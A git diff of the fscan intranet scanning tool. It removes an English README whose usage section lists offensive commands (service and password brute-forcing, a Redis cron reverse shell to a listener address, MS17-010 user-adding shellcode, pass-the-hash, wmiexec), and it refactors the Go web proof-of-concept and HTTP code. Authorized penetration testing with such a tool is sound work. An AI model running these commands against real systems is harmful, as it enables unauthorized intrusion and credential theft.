[+] 2021/4/22 修改webtitle模块,加入gbk解码。 [+] 2021/4/22 Modify webtitle module and add gbk decoding.
[+] 2021/4/21 加入netbios探测、域控识别。 [+] 2021/4/21 Add netbios detection and domain control identification functions.
[+] 2021/3/4 支持-u url或者-uf url.txt,对url进行批量扫描。 [+] 2021/3/4 Support -u url and -uf parameters, support batch scan URLs.
[+] 2021/2/25 修改yaml解析模块,支持密码爆破,如tomcat弱口令。yaml中新增sets参数,类型为数组,用于存放密码,具体看tomcat-manager-week.yaml。 [+] 2021/2/25 Modify the yaml parsing module to support password explosion, such as tomcat weak password. The new sets parameter in yaml is an array, which is used to store passwords. See tomcat-manager-week.yaml for details.
[+] 2021/2/8 增加指纹识别功能,可识别常见CMS、框架,如致远OA、通达OA等。 [+] 2021/2/8 Add fingerprint identification function to identify common CMS and frameworks, such as Zhiyuan OA and Tongda OA.
[+] 2021/2/5 修改icmp发包模式,更适合大规模探测。 [+] 2021/2/5 Modify the icmp packet mode, which is more suitable for large-scale detection.
修改报错提示,-debug时,如果10秒内没有新的进展,每隔10秒就会打印一下当前进度。 Modify the error prompt. If there is no new progress in - debug within 10 seconds, the current progress will be printed every 10 seconds.
[+] 2020/12/12 已加入yaml解析引擎,支持xray的Poc,默认使用所有Poc(已对xray的poc进行了筛选),可以使用-pocname weblogic,只使用某种或某个poc。需要go版本1.16以上,只能自行编译最新版go来进行测试。 [+] 2020/12/12 The yaml parsing engine has been added to support the poc of xray. By default, all the poc are used (the poc of xray has been filtered). You can use - pocname weblogic, and only one or some poc is used. Need go version 1.16 or above, and can only compile the latest version of go for testing.
[+] 2020/12/6 优化icmp模块,新增-domain 参数(用于smb爆破模块,适用于域用户) 。 [+] 2020/12/6 Optimize the icmp module and add the -domain parameter (for the smb blasting module, applicable to domain users)
[+] 2020/12/03 优化ip段处理模块、icmp、端口扫描模块。新增支持192.168.1.1-192.168.255.255。 [+] 2020/12/03 Optimize the ip segment processing module, icmp, port scanning module. 192.168.1.1-192.168.255.255 is supported.
[+] 2020/11/17 增加-ping 参数,作用是存活探测模块用ping代替icmp发包。 [+] 2020/11/17 The -ping parameter is added to replace icmp packets with ping in the survival detection module.
[+] 2020/11/17 增加WebScan模块,新增shiro简单识别。https访问时,跳过证书认证。将服务模块和web模块的超时分开,增加-wt 参数(WebTimeout)。 [+] 2020/11/17 WebScan module and shiro simple recognition are added. Skip certificate authentication during https access. Separate the timeout of the service module and the web module, and add the -wt parameter (WebTimeout).
[+] 2020/11/16 对icmp模块进行优化,增加-it 参数(IcmpThreads),默认11000,适合扫B段 。 [+] 2020/11/16 Optimize the icmp module and add the -it parameter (IcmpThreads). The default value is 11000, which is suitable for scanning section B.
[+] 2020/11/15 支持ip以文件导入,-hf ip.txt,并对去重做了处理。 [+] 2020/11/15 Support importt ip from file, -hf ip.txt, and process de duplication ips.
[url-docen]: README_EN.md [url-doczh]: README.md

View File

@ -1,260 +0,0 @@
# fscan
[中文][url-doczh]
# 1. Introduction
An intranet comprehensive scanning tool, which is convenient for automatic and omnidirectional missed scanning.
It supports host survival detection, port scanning, explosion of common services, ms17010, Redis batch public key writing, planned task rebound shell, reading win network card information, web fingerprint identification, web vulnerability scanning, netbios detection, domain control identification and other functions.
# 2. Functions
1.Information collection:
* Survival detection(icmp)
* Port scanning
2.Blasting:
* Various service blasting(ssh、smb、rdp, etc.)
* Database password blasting(mysql、mssql、redis、psql、oracle, etc.)
3.System information, vulnerability scanning:
* Netbios detection, domain control identification
* Collect NIC information
* High Risk Vulnerability Scanning(ms17010, etc.)
4.Web detection:
* Webtitle detection
* Web fingerprinting (cms, oa framework, etc.)
* Web vulnerability scanning (weblogic, st2, etc., also supports xray poc)
5.Exploit:
* Write redis public key and scheduled tasks
* Excute ssh command
* Use the ms17017 vulnerability (implanted shellcode), such as adding users, etc.
6.Others:
* Save ouput result
# 3. Instructions
Getting Started
```
fscan.exe -h 192.168.1.1/24
fscan.exe -h 192.168.1.1/16
```
Advanced
```
fscan.exe -h 192.168.1.1/24 -np -no -nopoc(Skip survival detection, do not save output result, skip web poc scanning)
fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (Redis write public key)
fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (Redis scheduled task rebound shell)
fscan.exe -h 192.168.1.1/24 -c whoami (Execute ssh command)
fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (Specify ssh module and port)
fscan.exe -h 192.168.1.1/24 -pwdf pwd.txt -userf users.txt (Load the specified file and password to blast
fscan.exe -h 192.168.1.1/24 -o /tmp/1.txt (Specify the path to save the scan results, which is saved in the current path by default)
fscan.exe -h 192.168.1.1/8 192.x.x.1 and 192.x.x.254 of segment A, convenient for quickly viewing network segment information )
fscan.exe -h 192.168.1.1/24 -m smb -pwd password (Smb password crash)
fscan.exe -h 192.168.1.1/24 -m ms17010 (Specified ms17010 module)
fscan.exe -hf ip.txt (Import target from file)
fscan.exe -u http://baidu.com -proxy 8080 (Scan a url and set http proxy http://127.0.0.1:8080)
fscan.exe -h 192.168.1.1/24 -nobr -nopoc (Do not blast, do not scan Web poc, to reduce traffic)
fscan.exe -h 192.168.1.1/24 -pa 3389 (Join 3389->rdp scan)
fscan.exe -h 192.168.1.1/24 -socks5 127.0.0.1:1080 (Proxy only supports simple tcp functions, and libraries with some functions do not support proxy settings)
fscan.exe -h 192.168.1.1/24 -m ms17010 -sc add (Built-in functions such as adding users are only applicable to alternative tools, and other special tools for using ms17010 are recommended)
fscan.exe -h 192.168.1.1/24 -m smb2 -user admin -hash xxxxx (Hash collision)
fscan.exe -h 192.168.1.1/24 -m wmiexec -user admin -pwd password -c xxxxx(Wmiexec module no echo command execution)
```
Compile command
```
go build -ldflags="-s -w " -trimpath main.go
upx -9 fscan.exe (Optional, compressed)
```
Installation for arch users
`yay -S fscan-git or paru -S fscan-git`
Full parameters
```
Usage of ./fscan:
-br int
Brute threads (default 1)
-c string
exec command (ssh|wmiexec)
-cookie string
set poc cookie,-cookie rememberMe=login
-debug int
every time to LogErr (default 60)
-dns
using dnslog poc
-domain string
smb domain
-full
poc full scan,as: shiro 100 key
-h string
IP address of the host you want to scan,for example: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12
-hash string
hash
-hf string
host file, -hf ip.txt
-hn string
the hosts no scan,as: -hn 192.168.1.1/24
-m string
Select scan type ,as: -m ssh (default "all")
-no
not to save output log
-nobr
not to Brute password
-nopoc
not to scan web vul
-np
not to ping
-num int
poc rate (default 20)
-o string
Outputfile (default "result.txt")
-p string
Select a port,for example: 22 | 1-65535 | 22,80,3306 (default "21,22,80,81,135,139,443,445,1433,1521,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017")
-pa string
add port base DefaultPorts,-pa 3389
-path string
fcgi、smb romote file path
-ping
using ping replace icmp
-pn string
the ports no scan,as: -pn 445
-pocname string
use the pocs these contain pocname, -pocname weblogic
-pocpath string
poc file path
-portf string
Port File
-proxy string
set poc proxy, -proxy http://127.0.0.1:8080
-pwd string
password
-pwda string
add a password base DefaultPasses,-pwda password
-pwdf string
password file
-rf string
redis file to write sshkey file (as: -rf id_rsa.pub)
-rs string
redis shell to write cron file (as: -rs 192.168.1.1:6666)
-sc string
ms17 shellcode,as -sc add
-silent
silent scan
-socks5 string
set socks5 proxy, will be used in tcp connection, timeout setting will not work
-sshkey string
sshkey file (id_rsa)
-t int
Thread nums (default 600)
-time int
Set timeout (default 3)
-top int
show live len top (default 10)
-u string
url
-uf string
urlfile
-user string
username
-usera string
add a user base DefaultUsers,-usera user
-userf string
username file
-wmi
start wmi
-wt int
Set web timeout (default 5)
```
# 4. Demo
`fscan.exe -h 192.168.x.x (Open all functions, ms17010, read network card information)`
![](image/1.png)
![](image/4.png)
`fscan.exe -h 192.168.x.x -rf id_rsa.pub (Redis write public key)`
![](image/2.png)
`fscan.exe -h 192.168.x.x -c "whoami;id" (ssh command)`
![](image/3.png)
`fscan.exe -h 192.168.x.x -p80 -proxy http://127.0.0.1:8080 (Support for xray poc)`
![](image/2020-12-12-13-34-44.png)
`fscan.exe -h 192.168.x.x -p 139 (Netbios detection, domain control identification, the [+]DC in the figure below represents domain control)`
![](image/netbios.png)
`go run .\main.go -h 192.168.x.x/24 -m netbios (Show complete netbios information)`
![](image/netbios1.png)
`go run .\main.go -h 192.0.0.0/8 -m icmp(Detect the gateway and several random IPs of each segment C, and count the number of surviving top 10 segments B and C)`
![img.png](image/live.png)
# 5. Disclaimer
This tool is only for **legally authorized** enterprise security construction activities. If you need to test the usability of this tool, please build a target machine environment by yourself.
In order to avoid being used maliciously, all pocs included in this project are theoretical judgments of vulnerabilities, there is no process of exploiting vulnerabilities, and no real attacks and exploits will be launched on the target.
When using this tool for detection, you should ensure that the behavior complies with local laws and regulations, and you have obtained sufficient authorization. **Do not scan unauthorized targets**.
If you have any illegal acts during the use of this tool, you shall bear the corresponding consequences by yourself, and we will not bear any legal and joint liability.
Before installing and using this tool, please **be sure to carefully read and fully understand the content of each clause**. Restrictions, exemption clauses or other clauses involving your major rights and interests may remind you to pay attention in the form of bold, underline, etc. .
Unless you have fully read, fully understood and accepted all the terms of this agreement, please do not install and use this tool. Your use behavior or your acceptance of this agreement in any other express or implied way shall be deemed to have read and agreed to be bound by this agreement.
# 6. 404StarLink 2.0 - Galaxy
![](https://github.com/knownsec/404StarLink-Project/raw/master/logo.png)
Fscan is the member of 404Team [404StarLink2.0](https://github.com/knownsec/404StarLink2.0-Galaxy)If you have any questions about fscan or want to find a partner to communicate with, you can adding groups.
- [https://github.com/knownsec/404StarLink2.0-Galaxy#community](https://github.com/knownsec/404StarLink2.0-Galaxy#community)
# 7. Star Chart
[![Stargazers over time](https://starchart.cc/shadow1ng/fscan.svg)](https://starchart.cc/shadow1ng/fscan)
# 8. Donation
If you think this project is helpful to you, invite the author to have a drink🍹 [click](image/sponsor.png)
# 9. Reference links
https://github.com/Adminisme/ServerScan
https://github.com/netxfly/x-crack
https://github.com/hack2fun/Gscan
https://github.com/k8gege/LadonGo
https://github.com/jjf012/gopoc
# 10. Dynamics
[+] 2022/11/19 Add hash collision, wmiexec echo free command execution function
[+] 2022/7/14 Add -hf parameter, support host: port and host/xx: port formats, rule.Search regular matching range is changed from body to header+body, and -nobr no longer includes -nopoc. Optimize webtitle output format.
[+] 2022/7/6 Add manual gc recycling to try to save useless memory, -Urls support comma separation. Fix a poc module bug- Nobr no longer contains nopoc.
[+] 2022/7/2 Strengthen the poc fuzzy module to support running backup files, directories, shiro keys (10 keys by default, 100 keys with the -full parameter), etc.Add ms17017 (use parameter: -sc add), which can be used in ms17010 exp Go defines the shell code, and built-in functions such as adding users.
Add poc and fingerprint. Socks5 proxy is supported. Because the body fingerprint is more complete, the icon icon is no longer running by default.
[+] 2022/4/20 The poc module adds the specified directory or file -path poc path, the port can specify the file -portf port.txt, the rdp module adds the multi-threaded explosion demo, and -br xx specifies the thread.
[+] 2022/2/25 Add - m webonly to skip port scanning and directly access http. Thanks @ AgeloVito
[+] 2022/1/11 Add oracle password explosion.
[+] 2022/1/7 When scanning IP/8, each C segment gateway and several random IPs will be scanned by default. Recommended parameter: -h ip/8 -m icmp. The LiveTop function is added. When detecting the survival, the number of B and C segment IPs of top10 will be output by default.
[+] 2021/12/7 Add rdp scanning and port parameter -pa 3389 (the port will be added based on the original port list)
[+] 2021/12/1 Optimize the xray parsing module, support groups, add poc, add https judgment (tls handshake package), optimize the ip parsing module (support all ip/xx), add the blasting shutdown parameter nobr, add the skip certain ip scanning function -hn 192.168.1.1, add the skip certain port scanning function - pn 21445, and add the scan Docker unauthorized vulnerability.
[+] 2021/6/18 Improve the poc mechanism. If the fingerprint is identified, the poc will be sent according to the fingerprint information. If the fingerprint is not identified, all poc will be printed once.
[+] 2021/5/29 Adding the fcgi protocol to execute the scan of unauthorized commands, optimizing the poc module, optimizing the icmp module, and adding the ssh module to the private key connection.
[+] 2021/5/15 Added win03 version (deleted xray_poc module), added silent scanning mode, added web fingerprint, fixed netbios module array overrun, added a CheckErrs dictionary, and added gzip decoding to webtitle.
[+] 2021/5/6 Update mod library, poc and fingerprint. Modify thread processing mechanism, netbios detection, domain control identification module, webtitle encoding module, etc.
[+] 2021/4/22 Modify webtitle module and add gbk decoding.
[+] 2021/4/21 Add netbios detection and domain control identification functions.
[+] 2021/3/4 Support -u url and -uf parameters, support batch scan URLs.
[+] 2021/2/25 Modify the yaml parsing module to support password explosion, such as tomcat weak password. The new sets parameter in yaml is an array, which is used to store passwords. See tomcat-manager-week.yaml for details.
[+] 2021/2/8 Add fingerprint identification function to identify common CMS and frameworks, such as Zhiyuan OA and Tongda OA.
[+] 2021/2/5 Modify the icmp packet mode, which is more suitable for large-scale detection.
Modify the error prompt. If there is no new progress in - debug within 10 seconds, the current progress will be printed every 10 seconds.
[+] 2020/12/12 The yaml parsing engine has been added to support the poc of xray. By default, all the poc are used (the poc of xray has been filtered). You can use - pocname weblogic, and only one or some poc is used. Need go version 1.16 or above, and can only compile the latest version of go for testing.
[+] 2020/12/6 Optimize the icmp module and add the -domain parameter (for the smb blasting module, applicable to domain users)
[+] 2020/12/03 Optimize the ip segment processing module, icmp, port scanning module. 192.168.1.1-192.168.255.255 is supported.
[+] 2020/11/17 The -ping parameter is added to replace icmp packets with ping in the survival detection module.
[+] 2020/11/17 WebScan module and shiro simple recognition are added. Skip certificate authentication during https access. Separate the timeout of the service module and the web module, and add the -wt parameter (WebTimeout).
[+] 2020/11/16 Optimize the icmp module and add the -it parameter (IcmpThreads). The default value is 11000, which is suitable for scanning section B.
[+] 2020/11/15 Support importt ip from file, -hf ip.txt, and process de duplication ips.
[url-doczh]: README.md

View File

@ -3,13 +3,14 @@ package WebScan
import ( import (
"embed" "embed"
"fmt" "fmt"
"github.com/shadow1ng/fscan/WebScan/lib"
"github.com/shadow1ng/fscan/common"
"net/http" "net/http"
"os" "os"
"path/filepath" "path/filepath"
"strings" "strings"
"sync" "sync"
"github.com/shadow1ng/fscan/WebScan/lib"
"github.com/shadow1ng/fscan/common"
) )
//go:embed pocs //go:embed pocs
@ -17,23 +18,23 @@ var Pocs embed.FS
var once sync.Once var once sync.Once
var AllPocs []*lib.Poc var AllPocs []*lib.Poc
func WebScan(info *common.HostInfo) { func WebScan(info common.HostInfo, flags common.Flags) {
once.Do(initpoc) once.Do(func() { initpoc(flags.PocPath) })
var pocinfo = common.Pocinfo var pocinfo = flags.Pocinfo
buf := strings.Split(info.Url, "/") buf := strings.Split(info.Url, "/")
pocinfo.Target = strings.Join(buf[:3], "/") pocinfo.Target = strings.Join(buf[:3], "/")
if pocinfo.PocName != "" { if pocinfo.PocName != "" {
Execute(pocinfo) Execute(pocinfo, flags)
} else { } else {
for _, infostr := range info.Infostr { for _, infostr := range info.Infostr {
pocinfo.PocName = lib.CheckInfoPoc(infostr) pocinfo.PocName = lib.CheckInfoPoc(infostr)
Execute(pocinfo) Execute(pocinfo, flags)
} }
} }
} }
func Execute(PocInfo common.PocInfo) { func Execute(PocInfo common.PocInfo, flags common.Flags) {
req, err := http.NewRequest("GET", PocInfo.Target, nil) req, err := http.NewRequest("GET", PocInfo.Target, nil)
if err != nil { if err != nil {
errlog := fmt.Sprintf("[-] webpocinit %v %v", PocInfo.Target, err) errlog := fmt.Sprintf("[-] webpocinit %v %v", PocInfo.Target, err)
@ -48,11 +49,11 @@ func Execute(PocInfo common.PocInfo) {
} }
req.Header.Set("Connection", "close") req.Header.Set("Connection", "close")
pocs := filterPoc(PocInfo.PocName) pocs := filterPoc(PocInfo.PocName)
lib.CheckMultiPoc(req, pocs, common.PocNum) lib.CheckMultiPoc(req, pocs, flags)
} }
func initpoc() { func initpoc(pocPath string) {
if common.PocPath == "" { if pocPath == "" {
entries, err := Pocs.ReadDir("pocs") entries, err := Pocs.ReadDir("pocs")
if err != nil { if err != nil {
fmt.Printf("[-] init poc error: %v", err) fmt.Printf("[-] init poc error: %v", err)
@ -67,7 +68,7 @@ func initpoc() {
} }
} }
} else { } else {
err := filepath.Walk(common.PocPath, err := filepath.Walk(pocPath,
func(path string, info os.FileInfo, err error) error { func(path string, info os.FileInfo, err error) error {
if err != nil || info == nil { if err != nil || info == nil {
return err return err

View File

@ -3,9 +3,6 @@ package lib
import ( import (
"crypto/md5" "crypto/md5"
"fmt" "fmt"
"github.com/google/cel-go/cel"
"github.com/shadow1ng/fscan/WebScan/info"
"github.com/shadow1ng/fscan/common"
"math/rand" "math/rand"
"net/http" "net/http"
"net/url" "net/url"
@ -13,6 +10,10 @@ import (
"strings" "strings"
"sync" "sync"
"time" "time"
"github.com/google/cel-go/cel"
"github.com/shadow1ng/fscan/WebScan/info"
"github.com/shadow1ng/fscan/common"
) )
var ( var (
@ -25,13 +26,13 @@ type Task struct {
Poc *Poc Poc *Poc
} }
func CheckMultiPoc(req *http.Request, pocs []*Poc, workers int) { func CheckMultiPoc(req *http.Request, pocs []*Poc, flags common.Flags) {
tasks := make(chan Task) tasks := make(chan Task)
var wg sync.WaitGroup var wg sync.WaitGroup
for i := 0; i < workers; i++ { for i := 0; i < flags.PocNum; i++ {
go func() { go func() {
for task := range tasks { for task := range tasks {
isVul, _, name := executePoc(task.Req, task.Poc) isVul, _, name := executePoc(task.Req, task.Poc, flags)
if isVul { if isVul {
result := fmt.Sprintf("[+] %s %s %s", task.Req.URL, task.Poc.Name, name) result := fmt.Sprintf("[+] %s %s %s", task.Req.URL, task.Poc.Name, name)
common.LogSuccess(result) common.LogSuccess(result)
@ -52,7 +53,7 @@ func CheckMultiPoc(req *http.Request, pocs []*Poc, workers int) {
close(tasks) close(tasks)
} }
func executePoc(oReq *http.Request, p *Poc) (bool, error, string) { func executePoc(oReq *http.Request, p *Poc, flags common.Flags) (bool, error, string) {
c := NewEnvOption() c := NewEnvOption()
c.UpdateCompileOptions(p.Set) c.UpdateCompileOptions(p.Set)
if len(p.Sets) > 0 { if len(p.Sets) > 0 {
@ -82,7 +83,7 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error, string) {
for _, item := range p.Set { for _, item := range p.Set {
k, expression := item.Key, item.Value k, expression := item.Key, item.Value
if expression == "newReverse()" { if expression == "newReverse()" {
if !common.DnsLog { if !flags.DnsLog {
return false, nil, "" return false, nil, ""
} }
variableMap[k] = newReverse() variableMap[k] = newReverse()
@ -96,7 +97,7 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error, string) {
success := false success := false
//爆破模式,比如tomcat弱口令 //爆破模式,比如tomcat弱口令
if len(p.Sets) > 0 { if len(p.Sets) > 0 {
success, err = clusterpoc(oReq, p, variableMap, req, env) success, err = clusterpoc(oReq, p, flags.PocFull, variableMap, req, env)
return success, nil, "" return success, nil, ""
} }
@ -132,7 +133,6 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error, string) {
newRequest, err := http.NewRequest(rule.Method, fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, string([]rune(req.Url.Path))), strings.NewReader(rule.Body)) newRequest, err := http.NewRequest(rule.Method, fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, string([]rune(req.Url.Path))), strings.NewReader(rule.Body))
if err != nil { if err != nil {
//fmt.Println("[-] newRequest error: ",err)
return false, err return false, err
} }
newRequest.Header = oReq.Header.Clone() newRequest.Header = oReq.Header.Clone()
@ -149,7 +149,7 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error, string) {
// 先判断响应页面是否匹配search规则 // 先判断响应页面是否匹配search规则
if rule.Search != "" { if rule.Search != "" {
result := doSearch(rule.Search, GetHeader(resp.Headers)+string(resp.Body)) result := doSearch(rule.Search, GetHeader(resp.Headers)+string(resp.Body))
if result != nil && len(result) > 0 { // 正则匹配成功 if len(result) > 0 { // 正则匹配成功
for k, v := range result { for k, v := range result {
variableMap[k] = v variableMap[k] = v
} }
@ -161,7 +161,7 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error, string) {
if err != nil { if err != nil {
return false, err return false, err
} }
//fmt.Println(fmt.Sprintf("%v, %s", out, out.Type().TypeName()))
//如果false不继续执行后续rule //如果false不继续执行后续rule
// 如果最后一步执行失败,就算前面成功了最终依旧是失败 // 如果最后一步执行失败,就算前面成功了最终依旧是失败
flag, ok = out.Value().(bool) flag, ok = out.Value().(bool)
@ -258,7 +258,7 @@ func newReverse() *Reverse {
} }
} }
func clusterpoc(oReq *http.Request, p *Poc, variableMap map[string]interface{}, req *Request, env *cel.Env) (success bool, err error) { func clusterpoc(oReq *http.Request, p *Poc, pocFull bool, variableMap map[string]interface{}, req *Request, env *cel.Env) (success bool, err error) {
var strMap StrMap var strMap StrMap
var tmpnum int var tmpnum int
for i, rule := range p.Rules { for i, rule := range p.Rules {
@ -277,8 +277,8 @@ func clusterpoc(oReq *http.Request, p *Poc, variableMap map[string]interface{},
ruleHash := make(map[string]struct{}) ruleHash := make(map[string]struct{})
look: look:
for j, item := range setsMap { for j, item := range setsMap {
//shiro默认只跑10key //shiro only runs by default 10key
if p.Name == "poc-yaml-shiro-key" && !common.PocFull && j >= 10 { if p.Name == "poc-yaml-shiro-key" && !pocFull && j >= 10 {
if item[1] == "cbc" { if item[1] == "cbc" {
continue continue
} else { } else {
@ -445,7 +445,6 @@ func clustersend(oReq *http.Request, variableMap map[string]interface{}, req *Re
// //
newRequest, err := http.NewRequest(rule.Method, fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, req.Url.Path), strings.NewReader(rule.Body)) newRequest, err := http.NewRequest(rule.Method, fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, req.Url.Path), strings.NewReader(rule.Body))
if err != nil { if err != nil {
//fmt.Println("[-] newRequest error:",err)
return false, err return false, err
} }
newRequest.Header = oReq.Header.Clone() newRequest.Header = oReq.Header.Clone()
@ -477,7 +476,7 @@ func clustersend(oReq *http.Request, variableMap map[string]interface{}, req *Re
} }
return false, err return false, err
} }
//fmt.Println(fmt.Sprintf("%v, %s", out, out.Type().TypeName()))
if fmt.Sprintf("%v", out) == "false" { //如果false不继续执行后续rule if fmt.Sprintf("%v", out) == "false" { //如果false不继续执行后续rule
return false, err // 如果最后一步执行失败,就算前面成功了最终依旧是失败 return false, err // 如果最后一步执行失败,就算前面成功了最终依旧是失败
} }

View File

@ -6,9 +6,6 @@ import (
"embed" "embed"
"errors" "errors"
"fmt" "fmt"
"github.com/shadow1ng/fscan/common"
"golang.org/x/net/proxy"
"gopkg.in/yaml.v2"
"io/ioutil" "io/ioutil"
"log" "log"
"net" "net"
@ -16,6 +13,10 @@ import (
"net/url" "net/url"
"strings" "strings"
"time" "time"
"github.com/shadow1ng/fscan/common"
"golang.org/x/net/proxy"
"gopkg.in/yaml.v2"
) )
var ( var (
@ -25,15 +26,15 @@ var (
keepAlive = 5 * time.Second keepAlive = 5 * time.Second
) )
func Inithttp(PocInfo common.PocInfo) { func Inithttp(flags common.Flags) {
//PocInfo.Proxy = "http://127.0.0.1:8080" //PocInfo.Proxy = "http://127.0.0.1:8080"
err := InitHttpClient(common.PocNum, common.Proxy, time.Duration(common.WebTimeout)*time.Second) err := InitHttpClient(flags.PocNum, flags.Proxy, common.Socks5{Address: flags.Socks5Proxy}, time.Duration(flags.WebTimeout)*time.Second)
if err != nil { if err != nil {
log.Fatal(err) log.Fatal(err)
} }
} }
func InitHttpClient(ThreadsNum int, DownProxy string, Timeout time.Duration) error { func InitHttpClient(ThreadsNum int, DownProxy string, socks5Proxy common.Socks5, Timeout time.Duration) error {
type DialContext = func(ctx context.Context, network, addr string) (net.Conn, error) type DialContext = func(ctx context.Context, network, addr string) (net.Conn, error)
dialer := &net.Dialer{ dialer := &net.Dialer{
Timeout: dialTimout, Timeout: dialTimout,
@ -51,8 +52,8 @@ func InitHttpClient(ThreadsNum int, DownProxy string, Timeout time.Duration) err
DisableKeepAlives: false, DisableKeepAlives: false,
} }
if common.Socks5Proxy != "" { if socks5Proxy.Address != "" {
dialSocksProxy, err := common.Socks5Dailer(dialer) dialSocksProxy, err := common.Socks5Dailer(dialer, socks5Proxy)
if err != nil { if err != nil {
return err return err
} }

View File

@ -570,7 +570,7 @@ func reverseCheck(r *Reverse, timeout int64) bool {
time.Sleep(time.Second * time.Duration(timeout)) time.Sleep(time.Second * time.Duration(timeout))
sub := strings.Split(r.Domain, ".")[0] sub := strings.Split(r.Domain, ".")[0]
urlStr := fmt.Sprintf("http://api.ceye.io/v1/records?token=%s&type=dns&filter=%s", ceyeApi, sub) urlStr := fmt.Sprintf("http://api.ceye.io/v1/records?token=%s&type=dns&filter=%s", ceyeApi, sub)
//fmt.Println(urlStr)
req, _ := http.NewRequest("GET", urlStr, nil) req, _ := http.NewRequest("GET", urlStr, nil)
resp, err := DoRequest(req, false) resp, err := DoRequest(req, false)
if err != nil { if err != nil {
@ -621,7 +621,6 @@ func DoRequest(req *http.Request, redirect bool) (*Response, error) {
oResp, err = ClientNoRedirect.Do(req) oResp, err = ClientNoRedirect.Do(req)
} }
if err != nil { if err != nil {
//fmt.Println("[-]DoRequest error: ",err)
return nil, err return nil, err
} }
defer oResp.Body.Close() defer oResp.Body.Close()

View File

@ -11,24 +11,28 @@ import (
"strings" "strings"
) )
func Parse(Info *HostInfo) { func Parse(inputConfig *InConfig) {
ParseUser() ParseUser(&inputConfig.Flags)
ParsePass(Info) ParsePass(&inputConfig.HostInfo, &inputConfig.Flags)
ParseInput(Info) ParseInput(&inputConfig.HostInfo, &inputConfig.Flags)
ParseScantype(Info) ParseScantype(&inputConfig.HostInfo, &inputConfig.Flags)
Outputfile = inputConfig.LogConfig.Outputfile
IsSave = !inputConfig.LogConfig.TmpSave
Cookie = inputConfig.Cookie
} }
func ParseUser() { func ParseUser(flags *Flags) {
if Username == "" && Userfile == "" { if flags.Username == "" && flags.Userfile == "" {
return return
} }
var Usernames []string var Usernames []string
if Username != "" { if flags.Username != "" {
Usernames = strings.Split(Username, ",") Usernames = strings.Split(flags.Username, ",")
} }
if Userfile != "" { if flags.Userfile != "" {
users, err := Readfile(Userfile) users, err := Readfile(flags.Userfile)
if err == nil { if err == nil {
for _, user := range users { for _, user := range users {
if user != "" { if user != "" {
@ -44,10 +48,10 @@ func ParseUser() {
} }
} }
func ParsePass(Info *HostInfo) { func ParsePass(Info *HostInfo, flags *Flags) {
var PwdList []string var PwdList []string
if Password != "" { if flags.Password != "" {
passs := strings.Split(Password, ",") passs := strings.Split(flags.Password, ",")
for _, pass := range passs { for _, pass := range passs {
if pass != "" { if pass != "" {
PwdList = append(PwdList, pass) PwdList = append(PwdList, pass)
@ -55,8 +59,8 @@ func ParsePass(Info *HostInfo) {
} }
Passwords = PwdList Passwords = PwdList
} }
if Passfile != "" { if flags.Passfile != "" {
passs, err := Readfile(Passfile) passs, err := Readfile(flags.Passfile)
if err == nil { if err == nil {
for _, pass := range passs { for _, pass := range passs {
if pass != "" { if pass != "" {
@ -66,34 +70,35 @@ func ParsePass(Info *HostInfo) {
Passwords = PwdList Passwords = PwdList
} }
} }
if URL != "" {
urls := strings.Split(URL, ",") if flags.URL != "" {
urls := strings.Split(flags.URL, ",")
TmpUrls := make(map[string]struct{}) TmpUrls := make(map[string]struct{})
for _, url := range urls { for _, url := range urls {
if _, ok := TmpUrls[url]; !ok { if _, ok := TmpUrls[url]; !ok {
TmpUrls[url] = struct{}{} TmpUrls[url] = struct{}{}
if url != "" { if url != "" {
Urls = append(Urls, url) flags.Urls = append(flags.Urls, url)
} }
} }
} }
} }
if UrlFile != "" { if flags.UrlFile != "" {
urls, err := Readfile(UrlFile) urls, err := Readfile(flags.UrlFile)
if err == nil { if err == nil {
TmpUrls := make(map[string]struct{}) TmpUrls := make(map[string]struct{})
for _, url := range urls { for _, url := range urls {
if _, ok := TmpUrls[url]; !ok { if _, ok := TmpUrls[url]; !ok {
TmpUrls[url] = struct{}{} TmpUrls[url] = struct{}{}
if url != "" { if url != "" {
Urls = append(Urls, url) flags.Urls = append(flags.Urls, url)
} }
} }
} }
} }
} }
if PortFile != "" { if flags.PortFile != "" {
ports, err := Readfile(PortFile) ports, err := Readfile(flags.PortFile)
if err == nil { if err == nil {
newport := "" newport := ""
for _, port := range ports { for _, port := range ports {
@ -125,88 +130,84 @@ func Readfile(filename string) ([]string, error) {
return content, nil return content, nil
} }
func ParseInput(Info *HostInfo) { func ParseInput(Info *HostInfo, flags *Flags) {
if Info.Host == "" && HostFile == "" && URL == "" && UrlFile == "" { if Info.Host == "" && flags.HostFile == "" && flags.URL == "" && flags.UrlFile == "" {
fmt.Println("Host is none") fmt.Println("Host is none")
flag.Usage() flag.Usage()
os.Exit(0) os.Exit(0)
} }
if BruteThread <= 0 { if flags.BruteThread <= 0 {
BruteThread = 1 flags.BruteThread = 1
}
if TmpSave == true {
IsSave = false
} }
if Info.Ports == DefaultPorts { if Info.Ports == DefaultPorts {
Info.Ports += "," + Webport Info.Ports += "," + Webport
} }
if PortAdd != "" { if flags.PortAdd != "" {
if strings.HasSuffix(Info.Ports, ",") { if strings.HasSuffix(Info.Ports, ",") {
Info.Ports += PortAdd Info.Ports += flags.PortAdd
} else { } else {
Info.Ports += "," + PortAdd Info.Ports += "," + flags.PortAdd
} }
} }
if UserAdd != "" { if flags.UserAdd != "" {
user := strings.Split(UserAdd, ",") user := strings.Split(flags.UserAdd, ",")
for a := range Userdict { for a := range Userdict {
Userdict[a] = append(Userdict[a], user...) Userdict[a] = append(Userdict[a], user...)
Userdict[a] = RemoveDuplicate(Userdict[a]) Userdict[a] = RemoveDuplicate(Userdict[a])
} }
} }
if PassAdd != "" { if flags.PassAdd != "" {
pass := strings.Split(PassAdd, ",") pass := strings.Split(flags.PassAdd, ",")
Passwords = append(Passwords, pass...) Passwords = append(Passwords, pass...)
